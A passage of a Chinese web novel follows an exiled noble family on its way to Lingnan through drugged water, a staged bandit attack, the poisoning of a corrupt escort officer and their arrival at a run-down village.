忠勇侯听着她们互相指责的话,瞬间就沉下了脸:“岭南瘴气多,毒蛇猛兽多,你们就庆幸,这两天碰上的都是没毒的。” “爹,你快救救我吧,我要草药包。” 靳雪儿再也不嫌弃了,那蛇从她手臂上滑过的时候,真的把她吓的心跳都停了。 “给你嫂子道歉去。” 忠勇侯眼皮一抬,他知道,这些东西,都是重山送来的,但,东西是归程七七打理的,程七七给了,她们敢嫌弃,不道歉,想都别想! “爹。” 靳雪儿还想说什么,一抬头,看着忠勇侯那铜铃似的眼睛,瞬间不敢说话了,为了不碰上蛇,靳雪儿只能低头。 “嫂子,对不起。” 靳雪儿低着头,完全不敢看程七七,看到那药味十足的草药包递上前时,靳雪儿不可置信的抬头。 “挂在腰间,去捡柴的时候,拿棍子打草。” 程七七清脆的声音响起,公公让靳雪儿道歉,便已经是说明态度了,靳雪儿刚刚及笄,也不过是个初中生,她就懒得计较了。 “谢谢嫂子。” 靳雪儿嗫嚅的说着,拿着药包,转身就回去了,她没想到,程七七居然没有趁机为难她? 靳雪儿宝贝似的将草药包挂在了腰间,淡淡的药香,让她格外的安心。 “我的呢?” 林惠兰看着她手上空空,没有她的份,顿时蹙起了眉头。 “娘,你去给嫂子道个歉,就有了。” 靳雪儿拿了一根棍子,就不远不近的跟着靳萱儿几个人,不敢走远了,眼睛四处张望着,生怕再碰上蛇了! “靳雪儿。” 林惠兰想追上去,但,看着浓雾弥漫的山,又不敢上前了,给程七七道歉? 不去,太丢人。 嘶,被蛇咬的疼的。 林惠兰磨磨蹭蹭的走到程七七面前。 “程七七,大人让你去给他做菜。” 三斤走到程七七的面前,道:“大人今天要吃鱼!” 他的厨艺,做鱼都腥。 “好。” 程七七应声,其实,也根本容不得她拒绝,刀疤张作为押解官差管事,巡检,点名道姓的让她去做饭,她拒绝不了。 “嫂子,我陪你一起去。” 靳润之刚刚捡柴回来,立刻陪着程七七就去做饭了。 自从上回送了蛇汤之后,刀疤张就每天晚上,都让程七七去做饭。 “都怪你,送什么蛇汤!” 柳素仪担心的看着程七七离去的背影,见到忠勇侯回来,立刻担心的说:“侯爷,你说,那姓张的,该不会起什么坏主意吧?” “他敢!” 忠勇侯眼眸微冷,朝着刀疤张的方向看了过去,程七七在锅边煮鱼片,靳润之在一旁打下手帮忙。 至于刀疤张…… 他一直盯着程七七做饭。 “听说你是出身乡野?那你这世子妃,当得憋屈啊,都被流放了。” 刀疤张盯着程七七的背影,一脸惋惜的说:“岭南那地方苦,每年粮食都不够吃,海鲜腥咸,又没肉的,往后你带着女儿的日子,可不好过。” “……” 程七七埋头煮鱼片,有姜祛腥,再加上她自制的酸菜,酸菜鱼片,很快就泛着香味了,诱人的酸味飘来。 刀疤张咽了咽口水:“你若是想活下去,我可以帮你。” 程七七搅动着锅的手一顿,看了一眼旁边被支开捡柴的靳润之,她眼微抬:“为什么?” “你做饭好吃。” 刀疤张回答着,盯着程七七的脸,怪不得能从乡野丫头当上世子妃呢,这脸长的也不赖。 “流放途中,死个人,也不是什么难事。” 刀疤张一脸自信,下一刻,程七七拒绝的话,让刀疤张蹙起了眉头:“我只让你做饭。” 程七七站起身道:“鱼片已经做完可以吃了。” 话落,程七七大步流星的就回去了,她都快气笑了,这刀疤张真是脸大,还只让她做饭? 到了岭南,哪怕靳家在岭南是罪人之身,但也是光明正大,靳家人性子都不坏,到了岭南,还怕过不了好日子? 真当她空间是摆设啊? “七七,姓张的没欺负你吧?” 柳素仪担心的问:“要是她欺负你,就跟你爹说。” “没有的。” 程七七微笑着摇头道:“他觉得我做饭好吃,想让我天天给他做。” 唔,还想让她假死隐姓埋名去做饭呢,这么说也没错! “呸。” 柳素仪气坏了:“他怎么这么脸大呢,还真以为自己是谁?” “娘,就做个饭,少找我们一点麻烦,也没事。” 去做饭的时候,靳家旁支的兄弟总有一个跟着她身边,倒也不用担心安全问题。 “委屈你了。” 柳素仪轻拍着程七七的手,道:“来,你爹今天掏了几个鸟蛋,等会你给安安一人吃一个。” “娘。” 程七七正要拒绝,柳素仪道:“行了,你跟安安吃,好好补补。” “张哥,你看上了?要不,直接……”李八的话音方落。 刀疤张抬手,端着碗,吃着米饭,和着酸菜鱼片,道:“你说,她做的菜,是不是更好吃?” “这酸菜,我就没吃过这么香的!” 刀疤张越吃越觉得好吃,这要是天天吃这么好吃的,多好? “是,挺好吃的。” 李八只觉得这鱼汤都比以前吃的好吃,一点腥味都不带的。 “张哥,明天晚上,就能到三明寨的驿站了,那些土匪……”李八提醒着。 “放心。” 刀疤张擦了擦嘴,起身就回马车睡觉了。 翌日,阳光明媚,三明驿站,似在深山老林里一般,只有一对老夫妻守着驿站,见着刀疤张一行官差带着流放的犯人:“官爷,里边请。” “嗯。” 刀疤张四处看了一眼,简陋的驿站,还真够差的。 “不错,今天有地睡了。” 靳家人看着这简陋的驿站,很是欢喜,比地为床,天为被的好! 吃完晚饭后,大家早早的歇下,这一路上,哪怕是有空间的程七七,也觉得累的慌。 夜深人静,一个黑影走到了驿站后面的水缸旁,晚风拂过,白色的粉沫飘落在水缸中,慢慢沉底,消失…… 第一卷 第30章 真假土匪 “还是床睡着舒服。” 柳素仪伸了一个懒腰,之前一直睡在地上,这大通铺的床,睡着还舒服。 “总算不用担心半夜下雨了。” 程七七看了一眼外头的天色,道:“今天的天应该还不错,我去烙点饼,中午就可以饼配粥了。” “昨天我看到后面有菜地,烙葱花饼。” 程七七说着直接起来就去后院了,见到老婆婆时,她笑着说:“老人家,我可以用两个铜板,买你那些葱吗?” 之前在山里也摘了不少野葱,可进了三明之后,这野葱就找不到了。 她想从空间里拿出小葱来,也没名目。 “不用。” 老婆婆摇了摇头,道:“你想摘就摘,还有白菜萝卜都是我自己种的。” 程七七顿了一下:“老人家不收钱,我也不好意思拿。” “那,就拿你的手帕来换。” 老婆婆看着程七七袖口露出来的手帕,是上等的丝绸,她道:“我老婆子这一辈子,还没看过这么漂亮的手帕。” 老婆婆脸上都是岁月留下的痕迹,笑起来的时候,略显浑浊的眼睛却透着善意。 “好。” 程七七拿了一条新帕子,换了一大把葱,半篓子白菜,萝卜。 “嫂子,我来装。” 靳礼之几人帮忙干活。 程七七去水缸里装水,借用了老婆婆的灶台,一口气烙了百来张葱花饼,香味那是直往外冒。 “他们,还有钱跟人买菜?” 刀疤张看着白菜和萝卜,若有所思,这二个多月以来,从最开始的银票,到后面的碎银子,最后,就剩下藏起来一些的银叶子之类的,到最近,铜板都出来了。 “不是,是老太婆看中了世子妃的手帕,拿手帕换的。” 李八在一旁解释着。 刀疤张若有所思,看着靳家人提着水缸里的水,又帮忙把人家水缸挑满了,这才上了马车道:“去,拿葱花饼来,我倒要看看,是不是好吃。” 没多大一会,刀疤张就吃上了葱花饼,香喷喷的葱花饼,热气腾腾,确实味道不错,想起这几日吃到的鱼片、蛇汤,唔,这么好吃的东西,就该天天有得吃! 锣声响起,靳家人也是动作利索的,就跟着上路了。 官道上,山路十八弯,雾散之后,阳光从重重的树叶里穿透而过,光,似乎也有了形状。 “我们在山里走了足足五天了,还要十天,才能到岭南?这也太远了。” 靳雪儿抬头,看着那一重又一重的山,只觉得前路黯淡无光。 “这山这么密,不会有土匪吧?” 靳雪儿想着之前碰上的土匪,话音刚落,两旁就蹿出很多粗布麻衣的凶猛大汉,他们个个手执着大刀,凶神恶煞的! “啊……” 靳雪儿捂着嘴,连忙往角落里躲,生怕被别人发现了。 真,真来土匪了! “狗官,我要杀了你们!” 领头的瘦高土匪高喊一声。 刀疤张站在马车上,大喊道:“放肆,他们犯了罪,朝廷判了流放,你们不能取他们的性命!” “你们这些猖狂的土匪,就不怕朝廷派兵来剿匪吗?” 刀疤张看着这些土匪,眼底透着一抹嘲讽,装的,还挺像的? “我们三明寨,不怕朝廷!” 领头的土匪哈哈大笑:“兄弟们,给我上,将这些狗官,全杀了!” “是。” 他身后冲出十来个训练有素的汉子,直奔他们而来。 “兄弟,你要杀狗官,要抢钱财,打着我们三明寨的名号干嘛?” 另一个山头,又冲出一波人,他们高矮胖瘦不一,手上有拿菜刀的,有拿砍柴刀的,还有拿镰刀的。 领头的男子是一个独眼,他指着第一波土匪道:“说,你们哪个山寨的,居然敢打我们三明寨的名头!” 两波土匪吵了起来,刀疤张脸都黑了,这是假土匪碰上真土匪了? “女眷躲马车后面。” 忠勇侯护着女眷往马车后面躲起来,他的眼眸微沉,看着第一波土匪,那分明就是训练过的杀手! “他奶奶的,老子行不更名,坐不改姓,三明寨大当家,独眼狼。” 独眼狼手里的刀拍在了手上,朝着第一波土匪啐了一口水道:“你是哪个寨子的?报上名来!” “兄弟,我们先杀了狗官,得了银钱,一人一半。” 第一波的领头是个瘦高个,听着独眼的话,他眼底一黑,瞬间就朝着手下使了一个眼色,他们瞬间就朝着忠勇侯等人冲了过来! “敢不将老子独眼狼放在眼里,兄弟们,上!” 独眼狼一声令下,瞬间就带着兄弟们冲了上去,别看他们手上的刀都是五花八门的,但都是真刀真枪里拼杀出来的,那一身的气势,绝对能把人吓哭! 第一波土匪朝着忠勇侯他们过来,第二波土匪似乎生怕被人抢了先,两波人争抢着! “哎呦,我,我怎么浑身没力气!” 忠勇侯带着靳家男丁一起,正要抵挡着土匪,谁知道,突然觉得没力气! “我,我也觉得没力气了。” 靳家男丁一个个都慌张的不行,“完了完了,我们肯定都中毒了,毫无反抗之力,岂不是要死了?” 刀疤张:“……” 不好,早知道今天还能碰上真土匪,就不给他们下药了,现在,进退两难。 场面一片混乱,靳家人连连往后退,忠勇侯突然大声喊道:“张大人,你要护着我们,我们最后的钱,可全部都给了你啊!” 忠勇侯一开口,顿时,所有人的目光,全部都落在刀疤张的身上。 “闭嘴!” 刀疤张气的恨不得拿刀堵上忠勇侯的嘴。 “兄弟们,这官爷有钱!” 独眼狼的一只眼睛亮的像太阳,他们人多势众,武器不行,人多来凑! 第一波土匪被打的节节败退的,一个个负伤想光,独眼狼趁机道:“兄弟们,把他们全抓起来,好好审审!” 第一波土匪死的死,抓的被抓,还跑了两个。 独眼狼直接就从刀疤张那里开始拿钱了,不给就揍,他提醒着,“悠着点,别把人打死了。” 最后,将刀疤张的钱,全部都抢走了,就连忠勇侯等人都没放过! “大哥,要不,带到寨子里去?有好多女眷呢!” 其中一个土匪喊着,靳家人吓的围成一个圈,女眷在后面,男丁全部都挡在前头,就连靳砚之也站在角落里,一脸愤怒! 第一卷 第31章 被诓骗了 “流放到岭南的犯人都是重罪,都不是好东西,让他们去寨子里浪费粮食啊?” 独眼狼睨了一眼,啐了一口水,带着嫌弃道:“兄弟们,扛着粮食,带着钱,我们回寨子里喝酒吃肉去!” 两波土匪来得快,去的也快,徒留下一地横七八躺的官差,还有躲在一旁,浑身无力的……靳家人! “哎呦,张大人,你没事吧?” 忠勇侯扯着嗓子喊着,道:“我们现在浑身没力气,根本扶不起你们啊!” 忠勇侯一边喊着,一边观察着刀疤张,刚刚他看的清楚,刚刚那独眼狼针对着刀疤张,所有的官差里,刀疤张的伤势,应该是最重的。 刀疤张不给钱的时候,独眼狼那一脚下去,刀疤张绝对是腿断了! “闭嘴!” 刀疤张听着忠勇侯的话,总觉得他像是在看笑话一样,他挣扎着坐了起来,喉间一甜。 噗! 刀疤张一口鲜血吐了出来,最后晕了过去。 “爹,爹你没事吧?” 张贵连滚带爬的跑了过来,没有爹,他往后日子就要可怜了。 出了这一档子事,大家只能原地休息。 “好可怕,那些土匪真是没有一点王法,光天化日之下,连官差都敢抢。”何氏吓的脸都白了。 “可不是,这岭南还没到呢,土匪倒是遇上两波了。”温氏的眼底满是对未来的担心。 “娘,我们不会是到了土匪窝吧?” 靳晴担心的靠着李氏。 “土匪又不要命,你们不用担心。” 忠勇侯说着,道:“我们现在穷的叮当响的,你看,土匪都不抢我们的。” 先前独眼狼那些土匪抢官差的时候,有人还想来抢他们的,独眼狼一句话:“从京都流放到岭南山境,他们还有个屁的钱。” 瞬间,那些土匪就打消了念头。 “二叔,我怎么觉得有点奇怪。”靳礼之将他的疑惑说了出来,他小声说:“今天我们全体身子发软,使不上力气,肯定是被下了毒,今天就碰上土匪了!” “对,要不是来了三明寨的独眼狼,只怕我们……凶多吉少。”靳润之也赞同的点头。 忠勇侯看了他们一眼,一脚踢了下魂游太虚的靳砚之:“砚之,你觉得呢?” “爹,我觉得我们运气好!” 靳砚之斩钉截铁的说着。 “……” 忠勇侯看向靳砚之的眼神,一言难尽,这真是他的亲生儿子? 靳礼之和靳润之两个人对视了一眼,也没说话。 程七七差点没笑出来:神他妈运气好! 这靳砚之怕不是一个草包。 第一波土匪,明显就是训练有素的杀手,哪家土匪装备这么精良? 一个个拿着一把大刀的? 至于第二波三明寨的土匪,她倒是觉得来得蹊跷,早不来,晚不来,突然这会就来? 还有早上忠勇侯特意跟大家说,听他话行事,说身体没力气,就没力气? 唔,看来,以后的流放路,走得要轻松很多了。 …… 三明寨。 “重山大哥!” 独眼狼高高兴兴的看着重山道:“人我已经全部抓回来了,按你们说的,放跑了两个!” “独眼大哥,你做的真好!” 重山看到独眼狼带回来的人,高兴的眼睛都亮了。 “能帮世做事,是我的福份,要不是世子,我就不是独眼狼,而人是死狼了!” 独眼狼提起世子,眼神一黯:“可惜,世子被奸人所害!” 重山看了一眼旁边的黑土,一拍独眼狼的肩膀道:“狼哥,你放心,我们一定会努力替世子平反的,这次,多谢了!” “别,重山哥。” 独眼狼连连摇头道:“先前抢来的粮食和银钱,我都让人准备好了,找个时机,还给侯爷。” “他们路上肯定缺粮食,我……” 独眼狼说着,重山打断道:“独眼大哥,不用,不能让你们兄弟们白帮忙,否则,世子要是知道,该责怪我们的!” “世子,当真是盖世英雄!” 独眼狼提起世子,夸赞的话,一箩筐的,他道:“那几个杀手,你们审,我去准备好酒好菜,好好招待你们。” 独眼狼离开之后,重山看着一旁的黑土,眼底全是崇拜道:“世子,独狼哥要是知道你就是世子,肯定激动的要三天三夜睡不着了!” 重山这会还记得,他和世子刚刚找上独眼狼,得知世子身死,独眼狼哭的比死了亲爹还难受呢! “那几个杀手,要是能审出点什么证据,就太好了。” 重山激动的捶桌子道:“崔烈真是贼心不死,毁了你的尸体,还想让侯爷身死!” “世子,那两个人,为何要放跑?” 重山激动的道:“就应该将他们一网打尽才对!” “这个杀手死了,然后呢?” 和重山的激动相比,靳墨之坐在这简陋的屋子里,依旧给人一种矜贵的感觉,那满脸的胡子,仿佛多了几分成熟! “当然是……” 重山的话不知道怎么说了。 “京都的崔烈会察觉到这里的不对劲,只有他们跑了,亲眼见到岭南的土匪横行,再收到我爹他们重伤的消息,他们才会放心。” 靳墨之眼眸微沉:“否则,父亲他们就算平安抵达了岭南,也会被无尽的追杀。” “高啊!” 重山这会才反应了过来。 “止水那边的消息查的怎么样了?”靳墨之问。 “晚上,今天晚上肯定能有消息了!” 重山说着,外头就已经传来独眼狼要杀猪,请他们吃肉的好消息了。 热闹的晚饭后,止水那边的消息就传过来了。 “过分,太过分了,我就说那一村三百户一千村民,就算签万民请愿书,也是感谢世子的才是,谁知道……” 重山激动的说道:“崔烈居然让人诓骗那些村民,这才导致圣上震怒,降了世子的罪!” “世子,当初你救下他们,是对的,他们并不是忘恩负义,只是被诓骗了!” 重山一直对这事耿耿于怀,世子为了这一村三百户一千村民抗旨,可这些村民,却拿出万民请愿书,表示他们并不需要世子的保护! 世子的抗旨,仿佛成了一个笑话一般。 现在,终于水落石出了,重山激动完才发现,世子一脸平静,他疑惑的问:“世子,您,不高兴吗?” 第一卷 第32章 求药无门 不高兴吗? 靳墨之站在窗前,眺望着山中月色,侧目道:“六十万两赈灾银怎么说?侯府搜查出二十万两,剩下的四十万两呢?” 话题一转,重山没有再纠结世子高不高兴,他郑重的说:“止水已经查了,二十万两纹银,从侯府抬出来的,剩下的四十万两,崔烈巧立名目,说这些钱世子都已经花了!” 要不是一直跟在世子身边,他都要被崔烈给骗过去了。 难怪,圣上直接判了抄家流放! “崔烈的胃口倒是大,让止水好好查查,这四十万两被崔烈用哪去了。” 靳墨之说着,重山拍着胸脯保证道:“世子放心。” “对了,如此西北平沙关,是谁在驻守?”靳墨之问。 “何拜,何副将现在已经是何将军了。” 重山的声音都带着嘲讽道:“当初就瞧着他那厮不顺眼,现在更讨厌了,要不是崔烈,他还不知道在哪个旮旯角呢!” 靳墨之在窗边坐了下来,土匪寨子里的茶叶,也不知道从哪得来的,香味倒是不错,茶香四溢,冰冷的晚风吹过。 他修长的手指,轻叩着桌面,深邃浩瀚的眸子似有流光闪过:“我记得,崔烈身边还有一个胡大勇。” “我记得,三年前,我们回京的时候,我还跟他打过一架呢。” 重山一提起胡大勇,指关节都动了起来:“早晚,要跟他再打一架,把他打的满地找牙。” 靳墨之抬眸,看着重山那满脸气愤的模样,眼底闪过一抹无奈:“何拜已经成将军了,同为崔烈的人,你有没有想过,为何不见了?” “对哦?” 重山一脸茫然的看着靳墨之:“他为什么没去谋个一官半职的呢?” 都说,最了解你的人,就是你的敌人! “世子,我这就飞鸽传书,让止水好好查查!” 重山说着,立刻就将这事给办了,这才问:“世子,那个张巡检,为什么不让独眼狼直接杀了,一个九品芝麻官,真当自己是大老爷了!” 靳墨之睨了他一眼,道:“他的官是小,但也是朝廷的人。” 独眼狼他们抢钱,揍一顿,他们也就只能咽下这口气了! 但,若真敢杀,那就是在挑衅朝廷。 独眼狼愿意,他不愿意。 独眼狼如今带着儿子,带着兄弟们在这里安了家,不应该再冒险。 “那,就这么放过他了?”重山愤愤不平的说着。 靳墨之:“当然是让他也体会体会,求药无门。” …… “爹,你终于醒了,我刚刚跟李叔去买了药,你快喝,喝了就好了!” 张贵孝顺的将熬好的药递了上前。 “好。” 刀疤张看着那乌漆麻黑的苦药,眉头都不皱一下,直接就喝了下去。 “张哥,你昏迷了一天,我们已经离开三明寨的地方了。” 李八说着道:“张哥,我们安全了,就是,吃食不多了。” “无妨。” 刀疤张一想到那些猖狂的土匪,再想到那些派来的杀手,居然全部被土匪给抓走了,他的脸都黑了,他扫了一眼忠勇侯等人:“那天,他们就一点事都没?” “忠勇侯受了伤,看起来虚弱的很。” 李八回答着。 “他们加快赶路,别耽误了行程。” 刀疤张将土匪的怒火,全部都发泄到了靳家人的身上,很快,刀疤张就力不从心了。 ‘噗。’ 一口鲜血又吐了出来,刀疤张只觉得身体越来越虚弱了,他抓着张贵的手道:“阿贵,是不是你亲手抓的药?” “是,是啊爹。” 张贵不解的看着刀疤张道:“全程都是我动手,没让别人沾手,李叔也不知道。” “请郎中来。” 刀疤张躺在马车上,只觉得他的身体越来越沉重。 “爹,这荒郊野岭,实在没有郎中,那天郎中给你看过了,病不严重,说是吃了几幅,好好养养就能好了。” 张贵小声说:“那天我可盯着郎中,没让任何人做手脚呢。” “爹,你别自己吓自己。” 张贵安慰的话,让刀疤张稍稍安慰了一些。 李八看着这一幕,垂下了眸子,嘴角勾一抹冷笑。 岭南,越来越近了,刀疤张倒下了,连挥鞭子的力气都没有了,靳家人也松了一口气。 “噗。” 刀疤张的血吐的越来越频繁了,整个人肉眼可见的虚弱下来:“阿贵,前面有驿站,去,给我找郎中。” 刀疤张现在只信自己的儿子了,明明每天的药都吃了,但,他的伤,却是半点不见起色,脚上更是每天晚上都疼的厉害。 “好,好,爹,你放心,我让他们走快点。” 张贵说着,鞭笞着靳家人走快点。 刀疤张情况不好,李八道:“张哥,要不,让他们女眷都挤到马车上,这样,我们走得快一点,也快点带张哥去治病。” “好。” 刀疤张也没闲心磋磨靳家人了,他现在只想保住自己的小命。 靳家女眷坐上了马车,男丁走路,脚程果然快了很多,不过夕阳西下时分,就赶到了驿站。 “什么?郎中出诊去了?” 张贵听到这消息,大发雷霆,这不是要爹的命吗? 刀疤张听着这话,吐血昏迷了过去,气若游丝。 “死了更好。” 靳雪儿在心中嘀咕着,下午坐了马车,不用走路,真的太舒服了! 半夜,听到张贵嚎啕的哭声时,靳家人心中一个咯噔,这是……死了? “素仪,你们在房间里,别出来。” 忠勇侯带着靳家的男丁都起来了,他们守在女眷的屋门口,窗户外头。 “好。” 柳素仪应声,和衣而眠的她们,根本睡不着。 “七七,你抱着安安,别把发也吓着了。” 柳素仪回头,还担心小孙女,又提醒了一句孟静瑶,让她照顾好女儿! 程七七小心的往女儿耳朵里塞了两团棉花,她心中一点都不慌张,有忠勇侯和世子旧部在,她觉得,刀疤张死了,也掀不起什么风浪! 果然,驿站里传来张贵愤怒的声音,最后,慢慢的咽下。 翌日,张贵要将亲爹埋了,要好好操办,但李八不同意。 “李叔,我说我要操办我爹的身后事!” 张贵双目赤红,拿着刀疤张那随身带着的鞭子,一字一顿,鞭子直指着李八,仿佛下一刻,就要抽到李八的脸上。 第一卷 第33章 死不瞑目 “阿贵啊,张哥没了,我们心里也很难受,但,人死不能复生啊。” 李八安慰着道:“再说了,我们耽误一天行,耽误二天,这些犯人没送到流放地,我们这些人,可都要死!” 一直没说话的护卫和驴蛋八斤等人,立刻就开口了,道:“是啊,贵哥,我们现在就去埋了张大人,等回去的时候,我们再将张大人带回京都。” “到时候,一定风风光光的埋了张大人!” 护卫们出声,他们不想死啊,他们还想好好活着呢! “对,押送犯人要紧,若是没能……” 李八的话还没说完,张贵手里的鞭子直接甩到了桌子上,桌子瞬间翻倒在地,张贵咬牙说:“我说,我要好好埋了我爹,谁也不准走!” 张贵说着,转身就带着护卫舅舅去埋刀疤张了! 张贵身边带着几个护卫,驴蛋和三斤看着李八,小声的问:“八哥,我们现在怎么办?” “大人待我们不薄,那,赶紧去准备准备,好好埋了张大人。” 李八笑着说着,看着张贵等人拖着人去埋,他的眼底闪过一抹笑意。 哪怕在前不着村,后不着店的驿站,张贵也是用着最好的方法,风风光光的埋了刀疤张。 黄土落下,刀疤张死不瞑目,他怎么也想不明白,明明药都只经儿子的手,怎么他还是死了呢? 刀疤张一埋,靳家人也在驿站得到了喘息和休息的时间,特别是怀孕的高胜兰,和年纪最小的靳岁安! 高胜兰自从知道怀孕之后,就一直都小心再小心。 靳岁安则是因为天气忽冷忽热,染上了风寒,发烧、咳嗽。 幸好,程七七空间里有药,偷偷喂上之后,好多了。 两天后,队伍继续上路:“阿贵,大哥不在了,这队伍便只能我先顶上了。” 李八的话一开口,张贵就表示不同意:“凭什么?我爹没了,这巡检,也只能是我!” “阿贵,你年纪轻,你认识各个驿站的人吗?你知道在安南州,他们归谁接收吗?你知道该找谁来打点吗?” 李八一连串的话说了出来,张贵瞬间就沉默了,他是第一次跟着爹爹来,为的便是接班,谁知道,这还没顺利到地点,爹就没了。 “八叔,你难道不帮我吗?我爹在的时候,你可不是这么说的!” 张贵盯着李八,以前爹爹信任李八的,还跟他说,以后让李八多帮帮他,现在看来,亲爹看走眼了! “我自然是要帮你的,不过现在更重要的事情是,先把这一趟活干完,等回去的路上,我再帮你,这次耽误了两天的时间,如果没有按时赶到,只怕小命不保。” 李八语重心长的说着,道:“靳家女眷走路太慢了,让她们坐马车。” “不行。” 张贵想也不想的拒绝。 李八问:“那就拖着,时间到了,犯人没送到,我们都下黄泉陪大哥。” “……” 张贵还没说话呢,其它人已经开始道:“八哥,我们听你的,让女眷坐马车!” “不可以!” 张贵觉得自己的话都不管用了,他想要吵,想要闹,但,护卫们几乎都站在了李八的身后,张贵的话,就像是……一个笑话。 靳家女眷一个个的上了马车,起身赶路! 张贵拿着鞭子就要打人,李八一把抓住:“阿贵,八叔不想看着你走上死路。” 李八强行将张贵带上了马车,队伍重新上路。 靳家女眷也不少,两辆马车,再加上板车一起,还得挤一挤。 “侯爷,我想坐那辆马车。”林惠兰指着柳素仪、程七七和老夫人的那一辆马车,宽敞不说,比跟那些被子、乱七八糟的东西挤一块好多了。 “行,你坐板车。” 忠勇侯说着:“润之媳妇,你怀孕了,你坐马车!” “谢谢二叔。” 靳润之立刻扶着自家媳妇高胜兰上马车了,还不忘记道:“谢谢林姨娘。” “胜兰,我来保护你。” 温氏一边说,一边也跟着上了马车! 李氏带着靳晴也上了马车。 最后,只剩下林惠兰和靳雪儿去坐板车了,靳雪儿看着板车上的粮食,顿时气疯了:“娘,板车多冷啊,还得坐在粮食上面!” 靳雪儿气坏了,瞪着林惠兰。 林惠兰还想吵,忠勇侯瞪的铜铃似的眼睛扫过去,林惠兰瞬间就蔫了。 呵。 柳素仪看着这一幕,冷笑着,放下了马车的帘子,靳义他现在,不怜香惜玉了? 程七七将这一幕看在眼里,想起在侯府吃到的瓜,曾经柳素仪跟忠勇侯也是恩爱夫妻,可后来,因为林惠兰……夫妻情份,相敬如宾。 “奶奶,吃糖,就开心了。” 靳岁安脆生生的扑到了柳素仪的怀里,仰头朝着她笑,手心里一颗小小的糖,配上她甜甜的笑容,柳素仪低落的情绪,瞬间被靳岁安给化解了。 “安安乖,安安留着自己吃就行。” 柳素仪看着软软的孙女,抬头看着程七七,这个儿媳妇倒是心细。 坐上了马车的靳家人,明显感觉赶路的速度都更加的快了。 张贵吵吵闹闹,最后,不知道李八跟他说了什么,一路上,张贵都沉寂了下来。 女眷坐上了马车,男丁走路,流放的路,果然走的快了很多。 半个月后,抵达岭南流放的地点,安南州,潮生县。 京都。 “碰上土匪了?所以,人没杀了?” 崔烈冷眼看着眼前的两个头低的跟鹌鹑杀手,浑身都透着冷冽的气息! “大人。” 两个杀手跪在地上,低着头道:“那些土匪太厉害了,人又多,我们的人被拖住了,不过,忠勇侯重伤了,他那个庶子,也断腿了!” “对对对。” 另一个杀手连连附和着:“忠勇侯重伤,就算我们不杀,也活不长了。” “是吗?” 崔烈站了起身,一步一步朝着两个杀手而去,居高临下的俯视着,两个杀手抖如筛糠,连连求饶道:“大人饶命啊,三明寨的土匪真的太凶了,我们人少,根本打不过……” 求饶声,戛然而止,窗户上,多了一道长长的血痕。 两个杀手死不瞑目的躺在了地上。 “去,处理了。” 崔烈丢下刀,冰冷的声音,仿佛杀了两只鸡一般平静。 两个暗卫蹿了出来,一个人收拾着尸体,另一个人说:“大人,三明寨在岭南,是出了名的凶悍,岭南的官府剿匪数次,损失很多,也未成功。” 第一卷 第34章 连床都没有 潮生县,归化里村。 “庄里正,他们这些犯人,从今日,便归属于你们归化里村。” 交接的官兵将靳家众人送到归化里村后,转身就走了。 庄里正拿着花名册,数着靳家众人,震惊的问:“你们从京都到岭南,居然一个人都没少?” 庄里正又数了一遍,二十四个人流放,二十四个人,居然通通都活着走到岭南了? 虽然看起来……破破烂烂的,瘦的风一吹就能倒,但,至少个个都还活着。 “我们运气不错。” 忠勇侯微笑着,悄悄的上前,给庄里正塞了一点碎银子道:“庄里正,往后,还请多多关照。” 那群官兵,居然没搜刮干净? 庄里正面色不显,悄悄拿了银子,道:“站好,我带你们去住处,从明天开始,你们就要分配活,你们是犯人,谁都别想偷懒!!” “是是是,我们一定好好干活!” 忠勇侯连连点头,捧起庄里正来,把庄里正夸得胡子都翘了起来。 牵着靳岁安走在后面的程七七看着这一幕,不得不说,忠勇侯当真是能屈能伸,当得了侯爷,放得下面子讨好一个小小的里正。 程七七眼神微黯,以后她想做生意挣钱躺平过好日子,或许,应该能行! “这,就是你们的住处了,明天,辰时正,到管训场听训分役。” 庄里正撂完话之后就走了。 四处漏风的屋子,门前的杂草,长的都比人高! 靳家人,心都凉了一大截。 “这是人住的地方吗?” 靳雪儿本以为,到了流放地就好了,不用每天辛苦的走路干活了,可现在看到这屋子时,顿时就欲哭无泪。 “难道不比野外好?” 忠勇侯扫了一眼,屋子虽然破旧,但地方还是大的,容纳他们二十四口人,绰绰有余的,足足有三栋房子。 每栋房子最少四间屋子,还有一个宽宽的大厅,旁边还搭了小棚子当厨房用! “我家人多,住这栋最大的,五间房。” 忠勇侯将三栋屋子转了一圈后,直接挑了最大的五间房的房子。 老夫人一间、他和夫人一间、林惠兰母女一间,程七七母女一间,靳砚之一间,正好合适。 还剩下两栋房子,八间房,靳家旁支三房商量一下,一人得了两间,还剩下两间,则是让没结婚的几个孩子住,一间男孩子,一间女孩住! “那就开始干活,天也快黑了,男的跟我们一起拔草,收拾屋子,女着就把负责做饭,铺床。” 忠勇侯分完,靳雪儿忍不住道:“爹,这,这也没床啊?” “没床就找稻草先铺上,等往后,再想办法,搭几张床。” 忠勇侯分配完之后,靳家男丁人,立刻就开始拔草,收拾着屋子了。 “娘,我们先去收拾房间,让祖母有地方躺着。” 程七七开口,跟着柳素仪一起就去收拾着老夫人的房间了,这一路上,老夫人全靠最后喝点粥,米汤吊着命,偶尔清醒时,能说上几句话,剩下的时间,都是睡过去。 “好。” 柳素仪应声,走进屋子,灰尘和蜘蛛网,差点让把柳素仪吓死! “啊……” 柳素仪连连往后退。 程七七道:“娘,没事,就是蜘蛛,这里可能太久没有人住了。” “安安,你去外面,拔草玩。” 程七七打发走了靳岁安,她拿了一根棍子,一边拿手帕捂着鼻子,一边拿着棍子就开始在墙上挥舞着,将这屋子收拾了起来! 柳素仪深吸了一口气,咬牙也学着程七七的样子,开始收拾着房间。 另一间屋子,林惠兰和靳雪儿收拾的时候,就没那么的顺利了! “啊……” “我不要住在这里!” 靳雪儿一进屋,就打死都不愿意进去了,道:“爹,我不要住在这里,那间房子里,有蛇皮!” “又不是蛇,怕什么?” 正在拔草的忠勇侯听着这话,立刻蹙起了眉头。 “爹,我不管,我不要住那间。” 靳雪儿一边哭一边倔强的说着。 “砚之,那你……”换一下。 忠勇侯的话还没说完,靳砚之忍不住道:“爹,我也不敢住。” “出息!” 忠勇侯一脸嫌弃的看着靳砚之,最后道:“你们要是不住,那就睡院子里。” 五间房,左三间,右两间,林惠兰母女和靳砚之肯定是住一边的,没得再换了。 柳素仪听着这话,这才放下心来,要是忠勇侯敢换,她就闹! “娘,我们运气不错。” 程七七接连着收拾着三间房,除了蜘蛛网,有些杂草之外,就只有几只死掉的老鼠了。 “……” 柳素仪沉默了,看着乐观的程七七问:“你,真心觉得不错?” “当然。” 